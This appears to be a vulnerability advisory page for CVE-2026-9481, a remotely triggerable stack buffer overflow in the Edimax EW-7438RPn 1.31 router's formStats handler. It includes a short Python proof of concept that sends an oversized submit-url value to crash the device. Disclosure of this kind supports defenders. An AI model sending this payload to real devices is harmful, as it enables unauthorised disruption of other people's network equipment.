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CVE-2026-9481 CVSS 8.8 HIGH

CVE-2026-9481

Published: 2026-05-25 19:16:37
Last Modified: 2026-05-25 19:16:37

Description

A flaw has been found in Edimax EW-7438RPn 1.31. This affects the function formStats of the file /goform/formStats. This manipulation of the argument submit-url causes stack-based buffer overflow. The attack can be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Edimax EW-7438RPn 1.31

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_ip = "192.168.1.1" url = f"http://{target_ip}/goform/formStats" # Malicious payload to trigger stack-based buffer overflow # Adjust length based on specific buffer size (e.g., 500+ bytes) payload = "A" * 600 data = { "submit-url": payload } try: print(f"Sending exploit to {url}...") response = requests.post(url, data=data, timeout=5) print(f"Response status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request failed (service may have crashed): {e}")

References

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